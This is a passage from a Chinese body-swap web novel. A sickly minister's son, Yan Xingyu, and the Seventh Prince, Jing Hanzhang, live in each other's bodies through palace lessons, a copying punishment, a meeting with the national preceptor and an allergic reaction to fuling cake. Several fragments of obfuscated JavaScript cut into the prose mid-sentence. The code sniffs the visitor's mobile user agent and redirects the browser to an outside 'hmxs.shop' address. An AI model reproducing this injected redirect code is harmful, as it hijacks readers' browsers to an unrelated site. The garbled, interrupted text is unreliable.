晏沉晰领命来接人,特意准备了轿撵,觉得就七殿下那狗脾气,定会和他无理取闹掰扯一番。 没想到…… 那一向无法无天目下无尘的七殿下竟然二话不说主动坐上了车辇? 一没作妖,二没暴怒,就只哼了一声。 跟来的其他惊蛰卫面面相觑,满脸“我眼是终于瞎了吗”的骇然神色。 晏沉晰只负责接人,见“七殿下”很配合也没多管,尽忠尽职地护着马车进了宫。 车辇中,晏行昱漫不经心地看着自己这双陌生的手,和指缝中缠着的赤绦,他不知又想起了什么,又开始左手搭右手腕地探脉。 脉象依然很奇怪,不像是中毒,也不像是旧疾。 但就是奇怪。 晏行昱探了半天才将手放下了。 还是等鱼息回来再说。 晏行昱进宫后,被宫人引着前去太和殿。 皇帝和国师正在殿中商谈要事,也没见他,直接让他去偏殿选玉。 晏行昱一路上都在思考荆寒章平日的举止习惯,以及他叮嘱的那句“全都要了”,眉头轻轻蹙着。 荆寒章就算再肆意妄为,也不能将那么贵重的籽料全都要了吧,这样皇帝真的不会起疑心吗? 晏行昱思虑半晌。 然后到了放置籽料的偏殿。 晏行昱抬头看了一眼,视线就被那一堆上等的籽料震住了。 宫人道:“殿下,陛下说您可以挑几块……” 他还没说完,晏行昱打断他的话,眉头一挑,道:“我不挑,全都要了。” 宫人:“……” 宫人有些为难:“殿下,陛下吩咐了……” 晏行昱不想为难别人,但荆寒章又说了全要,只好再次打断别人的话,道:“别说了,全都送到我……本殿下那去。” 他说完,觉得不符合荆寒章的习惯,又加了句“哼”。 宫人:“……” 宫人没办法,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727627|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好苦着脸去请示陛下。 没一会,宫人跑回来,小声说:“回殿下,陛下允了,说只要您南书房不再缺课,就将这些籽料给您。” 晏行昱说:“好。” 宫人忙去回话。 晏行昱悄无声息松了一口气,他装作漫不经心地看了看箱子里的籽料,最后选中了上好的一块,伸出手指在上面画了个圈,仿佛是打了个自己的标记。 “这颗很好。”晏行昱心想,“我就要这颗了。” 看到这块玉料,晏行昱突然觉得来这趟皇宫,倒也不亏。 只希望那七殿下说话算话就好。 晏行昱挑好玉,本来是打算想方设法见国师一面,但他还没怎么想,江枫华着急忙慌地跑了过来。 “殿下啊。”江枫华满头是汗,气喘吁吁道,“您今儿怎么还没去南书房?太傅已经气得拔胡子了。” 晏行昱一愣:“什么?” 南书房? 相府,偏院。 荆寒章正在摆弄晏行昱留下的弩,他善骑射,很懂弓.弩,晏行昱当着他的面卸下□□后,他就记住了这弩的处处机关,此时拆卸了遍,随手在纸上将弩的机关图画了下来。 荆寒章纯属打发时间,画了一半就不耐烦了,索性在那纸上涂墨点玩。 阿满端着药过来时,荆寒章已经无聊到翻他公子抄的一沓佛经了。 嗅到一股难以言喻的药味,荆寒章脸色都变了,他抬头看了一眼,立刻道:“把药端走,我不喝。” 阿满没听,慢吞吞上前,小心翼翼地将药放在荆寒章面前。 荆寒章回想起上次被灌药的悲惨经历,脸都绿了:“我说端走!等你家公子找到国师,把我们魂魄换回来后,你再让他自己喝。” 阿满满脸无辜:“可是我家公子身子不好,每日三碗药不能停的。” 荆寒章面无表情,冷冷道:“我要是喝了这碗药,你家公子身子会更不好。” 那药闻着都差点让荆寒章呕出一口血来,更何况喝下去了。 阿满还在劝:“不会的,公子喝惯了药,舌头已经察觉不到苦味啦。” 荆寒章还是不喝,看穿了一切似的,漠然道:“是你家公子特意吩咐的吧?” 阿满被噎了一下。 荆寒章差点被气笑了,没想到那小美人敢这么算计自己。 “说。”荆寒章冷声质问,“他是怎么说的?” 阿满见被拆穿,只好讷讷道:“公子临走时说,他替您进宫办事,若是回来还要喝苦药,好辛苦哦。” 荆寒章:“……” 所以就敢让本殿下替他喝?! 他到底哪来的胆子?! 14. 早课 荆寒章满脸冷漠,双手环臂,瞪着那碗药像是在瞪仇人。 阿满小心翼翼问:“殿下,您要开始生气了吗?” 荆寒章冷冷道:“我现在满脸写着生气,你瞧不出来吗?” 阿满:“……” “别拿你主子那套来待我,本殿下生气可不会提前预警。” 荆寒章说完,继续瞪着那碗药。 阿满唯恐给自家公子招来祸事,不敢像上一次那样直接按着七皇子灌药,只好满脸担忧、欲言又止,躬身退下了。 滚烫的药一开始冒着雾气,后来逐渐冷去。 那药也不知加了什么,味道一言难尽,弥漫在整个房中,差点把荆寒章给熏吐了。 若是之前,荆寒章定会觉得哪有大男人会这么娇气,就算再病弱能弱到哪里去,但当真正到了晏行昱的身体中,他才发觉这人的身子当真弱得连一阵风都能吹倒。 就是不生病的时候,荆寒章都觉得浑身发软,心口更是一阵阵地发疼,细细密密不怎么明显,但却疼得人心烦。 荆寒章都不知道晏行昱到底是怎么忍过来的。 荆寒章兀自气了半天,才心不甘情不愿地将药碗端起来,捏着鼻子喝药。 一口药入口,荆寒章差点吐出来。 见鬼的舌头尝不出苦味!? 荆寒章苦得眉头紧皱,拿出平生最大的抑制力才将口中的药给吞了下去。 将药一饮而尽后,荆寒章靠在椅背上闭着眼睛给自己顺气,一边顺一边气若游丝地骂骂咧咧:“气死我了气死我了。” 等到晏行鹿回来,他一定要好好坑那蛇蝎小美人一笔! 晏行昱还不知道自己即将被坑,正被江枫华带到了南书房。 教导各位皇子的侍讲先生身份特殊,曾是皇帝少时的太傅,不惑之年却是一头白发,满脸枯槁之色。 先皇驾崩时,圣上也才十五岁,是林太傅和摄政王等人力排众议,将其扶上皇位。 传言林太傅当年曾为圣上挡了一次暗箭,自那之后身体每况日下,正当壮年却仿佛古稀老人,命不久矣。 当年林太傅得知命不久矣后,便主动请辞归乡,圣上却硬是留他,为他寻良医找各种珍贵的药材,这么多年折腾,还是保住了这条命。 林太傅正坐在桌案旁闭眸小憩,听到脚步声缓缓张开眼睛,漫不经心瞥了一眼。 江枫华被林太傅罚惯了,一看到他就不自觉地腿肚子打颤。 林太傅虽然在朝中无官无职,无权无势,就算在南书房对皇子授课也是他闲着无事向圣上求来打发时间的,但因盛宠在身,满朝文武皆要对他礼数有加。 江枫华战战兢兢行了一礼:“太傅。” 林太傅满身书卷气,气势却是冷冽威严,他冷淡扫了晏行昱一眼,没有说话。 这是……不追究了? 江枫华见状忙和晏行昱一起去落座。 荆寒章作为全京都城都知晓的不学无术的草包,晏行昱还以为七殿下的书案会在最后一排,因为比较好偷懒睡觉。 他正要抬步往角落的空位上走,却见江枫华走到了第一排最当中的位置,等着他坐下。 晏行昱:“……” 这七殿下,是不是也太放肆了点? 晏行昱缓慢地走过去,坐了下来。 国师曾在给寒若寺的信上对晏行昱说过京都城的情况,皇帝子嗣众多,除了早早便出宫建府的皇子外,在宫中的只有五皇子、七皇子,和年纪尚小的八皇子和九皇子。 八皇子和九皇子是一对双生子,容貌一模一样,除非亲近的人,否则很难将两人分得清。 晏行昱扫了一眼,发现那对双生子正在偷偷笑他,眼睛都快眯成一条缝了。 在角落里的五皇子瞧着比九皇子大一两岁,相貌不错,却满身阴郁,垂着头将脸埋进书里,看架势恨不得拿个琉璃罩子把自己罩起来,不和任何人交谈。 晏行昱将视线收回来,心中大约有了点底。 这整个南书房,说好听点是年纪甚少的皇子读书的地方;说难听点,就是和皇位完全无关的人。 五皇子性子阴郁,七皇子不求上进,而皇室的双生子更是和皇位无缘。 晏行昱正在思考,林太傅就慢吞吞地掀开一页书,开始授课。 他语调清冽,虽然听着缓慢,但实际上没一会功夫一页书就被他自顾自讲了个遍,完全不管其他皇子能不能跟上。 晏行昱一目十行扫了一遍,发现这本书他十岁那年在寒若寺藏书阁看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏为明不知什么时候来的,正扶着门框瞪着他。 荆寒章看着这个满脸写着“我要报仇雪恨”的稚嫩孩子,眉头一挑,笑了起来。 来好玩的了。 15. 抄书 晏为明上一次吃了冒进的亏,被晏戟罚得不轻,这一次他学乖了,一没踢门,二没骂人,乖巧得不行。 荆寒章懒洋洋地撑着下颌,眼尾微挑着看着晏为明。 他这副狂妄张扬的姿态,和晏为明上回瞧见的模样完全不一样,晏为明“哇”了一声,像是逮住了他的狐狸尾巴似的,小声哼哼:“原来这才是你的真实面目。” 之前什么温润如玉,风度优雅,全都是伪装出来的假面! 荆寒章似笑非笑地像是在看傻子:“见了我都不知道行礼吗?” 晏为明还是很忌惮他,捏着鼻子微微一颔首,含糊不清道:“兄……” 荆寒章懒洋洋的:“大点声,听不见。” 晏为明满脸屈辱:“兄长。” “什么?你没吃饭吗?” 晏为明:“……” 晏为明气沉丹田,大喊一声:“兄、长——” 荆寒章一下捂住胸口,像是被吓住了。 晏为明:“???” 晏为明立刻往门口看去,唯恐赵伯再出来告他一状,他色厉内荏道:“晏行昱!你……你别再来这一招了,这次我可什么都没做!” 荆寒章:“……” 荆寒章仔细想了想当时江枫华和他说过的关于晏行昱被他弟弟气病的流言,当即啼笑皆非。 敢情第一次晏行昱也是装的病? 也对,就晏行昱那个性子,怎么可能在一个孩子那吃了亏? 荆寒章揉了揉心口,觉得有点好玩,晏行昱这病歪歪的身子,真的很适合装病逗人玩。 怪不得他总是动不动就装病装可怜,原来这么有趣啊。 荆寒章懒懒地靠在椅背上,淡淡道:“可是我真的被你吓着了,心口都在一阵一阵地疼。” 晏为明看到他这副若无其事的样子,就确定他真的在装病骗自己,气得半死:“你!你你!” 他气得转身就走,荆寒章却不想让他这么早走,淡淡道:“回来。” 晏为明头也不回:“我才不回去,你若是再装病,爹肯定罚我。” 荆寒章学着晏行昱的话,凉凉道:“你不过来,我马上就装病,半个月都醒不过来的那种重、病。” 晏为明:“……” 晏为明气得直蹬脚,却只能委屈着走了回去。 荆寒章一扬下巴,道:“给我说几句好听的。” 晏为明差点气炸,怒道:“晏行昱你别欺人太甚!” 荆寒章懒散地说:“这句不好听,下一句。” 晏为明:“……” 晏为明差点气哭出来。 荆寒章“啧”了一声,现在的孩子怎么这么不禁逗? 晏为明有心甩袖就走,但又怕“晏行昱”真的会装病,只好委委屈屈地说:“爹让我来找你。” 荆寒章勾唇笑了,若是腿能动他早就翘着二郎腿一副趾高气昂的纨绔架势了:“什么事?” 晏为明小声嘀咕:“爹说……嗡嗡唔。” 荆寒章没听清,蹙眉道:“晏戟说什么?” 晏为明眼睛猛地睁大,怒道:“你竟敢直呼爹的名字?!” 荆寒章不怎么喜欢晏戟,但占了人家儿子身体,只好“入乡随俗”,翻着白眼不情不愿道:“爹。” 晏为明:“……” 他哥果然有病! 荆寒章白白喊了声晏戟“爹”,便逮着他儿子可劲欺负:“说吧,再磨蹭我就直接摔到地上去,和别人说是你推的我。” 晏为明:“……” 晏为明深吸一口气,省得被气哭,不情不愿地说:“爹说你饱读诗书,满腹经纶,让我来找你学功课。” 荆寒章:“……” 荆寒章面无表情:“送客。” 晏为明:“……” 晏为明忙道:“爹说了让你教我,你不能这样的。” 荆寒章一听到功课就烦,他自己的都要丢给江枫华,更何况是其他的。 他不耐烦道:“我可以选择不教,反正晏……爹没有让我一定要教你。” 晏为明着急地跺脚:“可是可是……” 荆寒章一看到他这副明明不情愿却还是执意的模样,大概知道晏戟是下了死命令让他一定要跟着晏行昱学东西,当即冷哼一声:“不关我事,除非你让爹和我说。” 晏为明本来就不想跟着“晏行昱”学什么四书五经,被晏戟强行催着来主动求晏行昱教他已经是极其羞辱之事了,更何况“晏行昱”还不想教他。 晏为明委屈得要哭了,但还是强撑着不肯走。 荆寒章却铁石心肠,看都不看他,随手拨着佛珠玩。 晏为明在京都仗着身份横行霸道多年,结交的朋友也个顶个的纨绔。 十二三岁的年纪,正是心性初成极其重要的年纪,这孩子却成日和一群狐朋狗友混日子,也不知有多少人在暗地瞧相府笑话。 晏戟平日里总是忙于朝政,甚少管他,这次不知是不是瞧出了晏为明要是再不管教,指不定真的成了一个纨绔草包,这才强行让他跟着晏行昱学些东西,大约也有让两兄弟缓和关系的意思在里面。 若是晏行昱本人在此,怕是当即就答应了。 但很可惜,现在是不学无术的荆寒章在这具身体里。 荆寒章闷闷地想:“我连‘厌胜’都能读错,指望我教别人?门都没有。” 还是等晏行昱回来再说。 *** 宫中,南书房。 林太傅捏着书的指节一片泛白,他漠然看着侃侃而谈的“七殿下”,突然觉得他该像圣上请一把戒尺来,打他个掌心桃花遍地开。 晏行昱十分尽忠尽职,秉着荆寒章草包的性子,通篇胡说八道,将林太傅方才教过的策论反驳了个透,话里行间透露着目下无尘的气势。 江枫华都吓疯了,拼命扯着他的袖子让他少说点,这位太傅罚起人来可不会心慈手软。 晏行昱性子看着云淡风轻,除了有个爱财的小脾气外,还十分记小仇。 他本就生气荆寒章骗走了他一颗金锞子,加上江枫华那句“性子柔弱怯懦,最适合抄书”,当即火就慢吞吞地上来了。 晏行昱不能明着报仇,只能暗搓搓地使个小绊子。 抄书是吧,那就抄个够。 反正魂魄互换回来后,挨罚的人也不是他。 林太傅轻轻一敲桌子,淡淡道:“七殿下,你可知这篇策论引用了哪几本书?” 晏行昱自然是知道的,但荆寒章却不知道。 他摇头:“不知。” “很好。”林太傅抬手将桌子上的三本书拂到地上,慢条斯理道,“那殿下就将这几本书全都抄一遍吧。” 晏行昱:“……” 江枫华:“……” 江枫华差点疯了,忙道:“太傅!” 林太傅眼皮都不掀:“五遍。” 江枫华:“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727629|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晏行昱挑眉,学着荆寒章的性子,道:“抄这些书又没用,太傅何必罚我做无用功?” 林太傅道:“你抄了十遍,就知晓有没有用了。” 说罢,冷淡说了句:“三日后将书交给我——下课。” 起身慢吞吞地走了。 江枫华如丧考妣,嘴中喃喃着:“十遍……呜!” 晏行昱达到了目的,也没管江枫华,起身去寻太和殿寻国师。 江枫华连忙跟上去:“殿下!殿下!” 晏行昱走路还是很慢,重新站起来的感觉是很好,但双腿依然不习惯,有时候走得急了都能摔到地上去。 江枫华很快就跟了上来,满头大汗道:“殿下,林太傅最厌恶别人反驳他所写的策论,您这次是真的将他惹生气了,这十遍……臣真的无能为力啊!” “无能为力就不抄。”晏行昱琢磨了一下荆寒章的性子,十分张狂道,“反正罚得又不是你。” 江枫华一愣,品了一下这句话的意思,讷讷道:“您的意思是,您……自己抄?” 晏行昱道:“自然。” 江枫华一言难尽地看着他,似乎没料到他会主动抄书。 晏行昱看着他:“还有事吗?” 江枫华摇摇头:“没了。” 他平日里最多的就是帮殿下抄书,现在一不让他做这件事了,江枫华竟然不知道自己在宫中还有什么用。 晏行昱也没和他多说,继续往前走,他怕国师走了,所以步子稍微有些快,在拐角处直接左脚拌右脚,险些摔在地上。 江枫华:“……” 殿下今日果然很奇怪。 晏行昱很快就到了太和殿,说来也巧,国师刚好从太和殿出来,一身雪白僧袍极其扎眼。 “师……国师!” 国师一偏头,就瞧见“七殿下”正朝自己一瘸一拐地走来,他双手合十,行礼道:“七殿下。” 晏行昱走到他面前,抬手在他手臂上轻轻敲了两下,低声道:“师兄,是我。” 国师:“……” 国师俊美的脸上终于出现了些许裂痕,他上上下下打量着晏行昱:“当真是你?” 晏行昱点头。 两人不便在太和殿门口叙旧,只好慢吞吞往外走。 到了御花园,察觉到四下无人,国师才蹙眉道:“昨日陛下让我进宫说起了天象异样,我大约就知晓是你们互换了。” 晏行昱:“师兄,到底要如何才能换回来?” 国师叹了一口气,道:“我也不清楚。” 晏行昱一怔,他对师兄太过信任,还以为只要国师见了他,定能将魂魄直接换回去——要不然他也不会这么坑荆寒章。 他蹙眉,终于有些担忧:“这种真的是邪术?” 国师叹了一口气:“我要回去翻翻古书,若真的是邪术,定会有破解的法子。” 晏行昱一看有希望,便道:“好,那大约什么时候能有法子?” 他和荆寒章昨晚就互换了,本来以为早起后就会像上次一样还回来,谁知一直到了现在也没有丝毫动静。 晏行昱突然有种预感,他们这次八成不会轻易换回去了。 国师想了想,温声道:“约摸三四日吧。” 晏行昱:“……” 晏行昱面无表情:“师兄说几日?” “三四日。” 晏行昱:“……” 所以那十遍书……要我自己抄? 16. 茯苓 晏行昱稀里糊涂地回了七殿下行宫,江枫华大概怕他出尔反尔,已经离宫了。 晏行昱对着桌子上的三本书,沉默了良久,还是打算去找荆寒章商议商议。 按照荆寒章往日的作风,想要出宫根本没人会拦他,晏行昱本来自己会畅通无阻的出宫,没想到却在宫门口被晏沉晰拦下了。 晏行昱故作镇定,道:“何事?” 晏沉晰满脸漠然:“殿下恕罪,陛下有令,那三本书未抄完,不可出宫,否则就将您宫中的籽料全部收回。” 晏行昱:“……” 晏行昱终于明白了什么叫做“凡事留一线,日后好相见”,他决定不随便生气了。 晏沉晰手持弯刀,惊蛰卫只受命于陛下,就算狂妄如荆寒章也不能硬碰硬,更何况晏沉晰还是晏行昱堂兄。 晏行昱只好打消了出宫的念头,尝试着道:“那我能传唤人进宫吗?” 晏沉晰还以为七殿下会无理取闹,没想到竟然这么好说话:“自然可以,殿下要传谁进宫?” 晏行昱道:“相府晏行昱。” 晏沉晰沉默,刚刚褪去寒意的眸中再次冰冷一片。 “殿下恕罪。”晏沉晰抱拳颔首行礼,“天寒地冻,行昱本就体弱,怕是不适合出门。殿下若是有什么要事,尽管吩咐臣去做。” 晏行昱愣了一下,神色复杂地看着晏沉晰。 幼时晏沉晰十分疼晏行昱,每回跟着将军前去边关回来时,总要给他带一些罕见的小玩意。 只是两人分别十年,再亲密的感情此时也淡得差不多。 晏行昱吃斋念佛淡了心,连晏沉晰当年是什么模样都不太记得了,更何谈亲密。 晏行昱本以为将军府和丞相府离心后,晏沉晰会极其不屑同他们有任何交集,没想到这个时候他竟会护着自己。 若是换回去了,他还是要去拜访一下叔父才是。 “没什么。”晏行昱突然有些开心,道,“昨日宿在相府,承蒙公子照料,此次只是想赏赐他些东西,统领若是有空,可帮我送去。” 晏沉晰道:“是。” 晏行昱看了他一眼,转身回了宫。 于阗玉的籽料全都在偏殿,晏行昱在里面挑了半日,才挑出来最好的两块用盒子盛着,又提笔写了一封信放在盒子夹层中,让人送去给晏沉晰。 晏行昱心性很稳,被困在这副躯壳中也没有自怨自艾,闲着无事索性开始提笔抄起书来,反正他自己在相府无事时,也是随手抄佛经静心的。 荆寒章的字迹很好模仿,只要将字写得不像是人写的就成,晏行昱随手几笔就学到了精髓。 宫外,晏沉晰策马前去丞相府,手中捧着沉甸甸的盒子,神色十分复杂。 自从相府和将军府离心后,晏沉晰已经多年没进过丞相府了,没想到这次竟然会以这样的缘由进来。 赵伯瞧见晏沉晰都呆了半天,才诚惶诚恐地将他迎了进去。 见赵伯要去禀告晏戟,晏沉晰道:“不必告知丞相,我只是代七殿下来给行昱送东西的。” 他亲昵地叫完“行昱”后,立刻就后悔了,垂着头面无表情,只是耳根有些发红。 赵伯讷讷称是,带着他去了偏院。 晏沉晰听说过晏行昱的一些传闻,得知他在相府被苛待根本没多在意,因为他知晓就算再苛待,晏戟也是有分寸的,不会做的太过。 只是到了那破破烂烂的小偏院,晏沉晰才惊觉那传闻竟是真的。 晏沉晰的脸色直接沉了下来。 赵伯不明白他为什么发怒,战战兢兢地将他迎了进去。 屋子里有人正在说话,晏沉晰耳力极好,听得一清二楚。 晏为明:“你就要教我,要不然我就不走了!” “晏行昱”:“你就算在这里坐到死,我也定不会教你半句的。” “你到底怎么样才肯教我?”晏为明听起来气得不行,但因为什么原因只能强行压着怒气,十分憋屈,“哪怕是随口敷衍我一下也成呀,等我能出府了,可以请你去赏风楼听戏。” “晏行昱”:“啊,我的心口好疼,怎么就这么疼?定是被你气的……” 晏为明:“啊?啊啊?我不信,你肯定是在装病!” 晏沉晰:“……” 晏沉晰满脸写着要杀人,直接挥开赵伯,快步进去,一脚将房门踹开,发出一声巨大的声响。 正在装病逗晏为明玩的荆寒章差点被这一脚踹出的动静吓得直接犯病,他捂着心口喘了好几口气才缓过来,不耐烦地偏头看去。 晏沉晰几乎将那盒子捏碎了,满脸写满了要杀人。 荆寒章一愣,就连晏为明也是呆了一下。 晏沉晰冷冷道:“晏为明,你就是这样对待兄长的吗?!” 晏为明这才回过神,连忙站起来,惊慌失措道:“堂、堂兄,你怎么来了……” 荆寒章满脸苍白,有些疑惑地看着晏沉晰,没想通惊蛰卫统领竟然会来相府,而且还这么一副杀气腾腾的样子。 谁惹他了? 就算荆寒章不关注朝堂之事也知道,这位惊蛰卫统领简直是京都城人见人怕的“活阎王”,多少被下罪的皇亲国戚都是死在他手里的。 晏沉晰是京都城最锋利的利刃,只要皇帝如果想,他甚至能将刀尖朝向将军府。 每次荆寒章被禁足宫中,全都是晏沉晰来拦他,也只有晏沉晰敢拦他。 荆寒章一看到他就烦,但瞧见他手中拿着自己宫里的盒子,大约知晓晏行昱定是有事要告知自己,因为晏沉晰拦着出宫,只能让人来借送东西之由传达。 晏沉晰冷冷看了晏为明一眼,晏为明本就怕他,一被瞪吓得呜咽一声,讷讷道:“我我我……” “我先走了!” 晏为明吓到连礼数都不顾,拔腿就冲了出去。 荆寒章拿来逗趣的小玩意跑了,在心中叹了一口气,心想没什么好玩的了。 晏沉晰大概怕他被风吹着,将赵伯打发走,沉着脸把门关上,才将手中的盒子放在荆寒章面前。 荆寒章明知故问:“这是什么?” 晏沉晰道:“七殿下赏给你的。” 荆寒章:“……” 荆寒章唇角抽动,没想到有朝一日能自己赏自己东西,倒也新奇。 晏沉晰冷冷环顾周遭,眉头越皱越紧,最后没忍住,沉声道:“你搬去将军府住吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727630|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荆寒章正在拿盒子,闻言一怔:“什么?” “相府苛待你,我们将军府可不会。”晏沉晰做事十分雷厉风行,一点都不拐弯抹角,“跟我走。” 荆寒章:“……” 荆寒章能拿晏为明随意打趣,但却不能给晏行昱找太大的麻烦,只好“委婉”地拒绝:“我不去。” 晏沉晰蹙眉:“你就心甘情愿在这种地方受苦?” 荆寒章懒得解释,只说:“啊,是啊。” 晏沉晰看了他半天,才起身,似乎有些恨铁不成钢:“那你就在这里受着吧。” 说罢,转身挥袖就走。 荆寒章不和晏沉晰吵起来已经算是给晏行昱面子了,见晏沉晰气冲冲地离开了也没有拦,随手打开了盒子。 盒子中有两块上好的籽料。 荆寒章不明所以,随手翻了翻,果然在夹层中翻到了一张纸。 他随手展开,扫了一眼,瞧见那密密麻麻的字就觉得头疼,索性喊来阿满给他念。 阿满刚刚买茯苓糕回来,这次他买了两块,糕点铺的小厮罕见地没有给他冷眼,阿满很高兴,连走路都在蹦。 一听到有主子的消息,阿满立刻跑了过来,将茯苓糕放在桌子上,欢天喜地地展开信飞快扫了一眼。 荆寒章懒得听晏行昱那些文绉绉的话,直接道:“三句话以内,简洁点。” 阿满很听话,如实道:“公子说,国师告知,解魂魄互换法子要三四日后才能有结果,要您再忍一段时间。” 荆寒章蹙眉:“三四日?” 他还要再喝三四日的药?! 阿满继续说:“今日殿下迟到,太傅罚抄了十遍的书,他现在正在帮您抄,望您多赏他一块玉。” 荆寒章差点被气笑了,他终于知道为什么会有两块玉了,敢情是晏行昱在先斩后奏。 不过太傅罚他也是常事,晏行昱肯帮他抄书,多给他一块玉也没什么。 “还有就是让您不要露馅。”阿满读完最后一句话,“好好喝药,不要吃茯苓糕。” 他话音刚落,荆寒章就停下了手中的动作,含糊道:“什么?不要吃什么?” 阿满放下信,抬头看了一眼,也愣住了:“不、不要吃茯苓糕……” 荆寒章看着自己指尖只剩下一半的茯苓糕,唇角还残留着茯苓糕的碎屑——他已经吞下腹半块了。 阿满:“……” 阿满几乎要尖叫了:“我家公子不能吃茯苓糕!” 荆寒章:“……” 荆寒章愣了半天,迷茫道:“为什么不能吃?你买来不就是吃的吗?” 阿满:“公子吃茯苓糕会犯病啊……快、快吐出来!” 荆寒章险些炸了,怒道:“吞进去的东西能轻易吐出来吗?!再说了,既然不能吃,为什么要买?买来当花儿看吗?啊?!” “是啊。”阿满着急得团团转,他只是一眼没瞧见,就酿成大祸,眼泪都要掉下来了,“公子买来只看,从来不吃啊啊啊!救命啊!来人,快去找大夫!救命!” 见杀人不眨眼的阿满竟然惊慌失措成这样,荆寒章彻底懵了。 吃个茯苓糕……也会死人的吗? 17. 女人 荆寒章最爱吃茯苓糕,从小吃到大一点问题都没有,所以无法理解怎么就半块茯苓糕,就闹到要叫大夫的地步。 对晏行昱的身体也不太了解,只好满脸懵地看着阿满忙得团团转,一会叫大夫,一会去熬药。 荆寒章蹙眉:“用得着叫大夫吗?” 阿满用一种怜悯的眼神看着他,似乎觉得他这句话问的极其可怜。 荆寒章突然有种不好的预感:“他吃了茯苓糕到底会如何?” 阿满不知道要怎么说,只是叹息道:“殿下,等着喝药吧。” 荆寒章:“……” 一刻钟后,荆寒章就感觉脚下开始有些飘了,浑身也逐渐发痒,他本能作祟伸手去抓脖颈,但才抓一下就被阿满给扣住了手。 荆寒章性子强势,最厌恶被别人压制,见状就要挣脱阿满,但他脑海中分明已经有了这个念头,但手却根本动不了,任由阿满将自己的手扣在轮椅扶手上。 荆寒章眼睛都张大了,他怒道:“你放肆!” 诡异的是,他明明记得自己已经张嘴说出话了,但耳畔却没有听到声音。 荆寒章愣了半天,就在他还以为自己见鬼了,就突然感觉到自己的手猛烈动了一下,耳畔也响起了自己暴怒的声音。 “你放肆!” 荆寒章:“……” 荆寒章被自己吓了一跳。 阿满道:“殿下,我家公子吃了茯苓糕,反应会比旁人慢上许多,身上也会奇痒无比,您最好别乱抓。” 荆寒章:“……” 反应慢?!还奇痒无比? 荆寒章一时间愣住了。 这并不是反应慢,而是脑海中明明已经有了指示,但身体却完全跟不上,延迟许久才会有反应。 这…… 茯苓糕竟然会有这种效用吗?! 怎么和中毒一样? 震撼七殿下一整年! 只是荆寒章也没时间去纠结这个,因为他浑身已经开始细细密密地痒了起来,他一伸手想要去抓,但慢了好久才会动作,被等在一旁的阿满一把扣住了手。 荆寒章要气晕过去了:“放肆!给本殿下放手!” 阿满不为所动,道:“公子身子极易容易留疤,殿下要忍住,别抓伤了才好。” 就刚才荆寒章随手抓的那一下,已经将晏行昱的脖颈抓出了一道艳红的血痕,在那雪白的颈子上极其显眼。 阿满仗着荆寒章反应慢不能打他,飞快地将他扶着靠在了榻上,顺便将他两只手紧紧扣住,省得荆寒章乱抓。 他动作十分熟稔,一看就是很有经验的。 荆寒章哪里受过此等奇耻大辱,暴怒道:“你竟敢这么对我?难道不要命吗?!” 阿满看着人小,但力气极大,满脸无辜地看着荆寒章慢半拍地挣扎。 阿满虽然瞧着待荆寒章十分恭敬,但一旦涉及到他家公子的身体就完全什么都不管了——早上喝药时,若是在药冷之前荆寒章还没喝,阿满定会进来强行给他灌下去。 什么冒犯皇子,阿满狠了,连皇帝都敢冒犯。 动作延迟这种事对第一次经历的荆寒章来说太过可怖,有时候他忘记了自己挣扎过,身体突然动了一下,都能把自己吓出一身冷汗来。 “气死我了气死我了!” 最后,荆寒章气若游丝地靠在椅背上,彻底认命了。 “别扣着我了。”荆寒章冷冷道,“我不动就是了。” 阿满仔细看着他的神色,犹豫着道:“再痒也不动?” 荆寒章神色阴恻恻,瞧着已经要杀人了:“你说呢?” 阿满还是有些怵他,小心翼翼松开了手。 荆寒章果真说话算话,就算浑身都痒,却还是强撑着一动不动,只是脸色难看得随时能拿刀砍人。 阿满本来还在担心,因为晏行昱每次犯病时都说话不算话,满口答应着不抓,但只要阿满一松开手,他立刻偷偷摸摸去抓,弄得身上一堆浅浅的疤痕,涂药许久才能完全消下去。 好在荆寒章比他主子诚信度要高,说不抓就不抓,痒死都不抓。 阿满观察半天,这才放下心来。 荆寒章自小习武,耐力非比寻常,就算浑身痒得要命他也强迫自己动也不动。 他双手环臂,冷漠看着一旁盒子里的两块玉,冷笑一声。 “还雕玉?”荆寒章心想,“雕个鬼的玉!本殿下就是把玉都扔了也不给你雕!” 荆寒章兀自生气,难受了半天,终于将大夫等来了。 这大夫白发白须,走路都在蹒跚,身后跟着个小药童帮他拿着药箱。 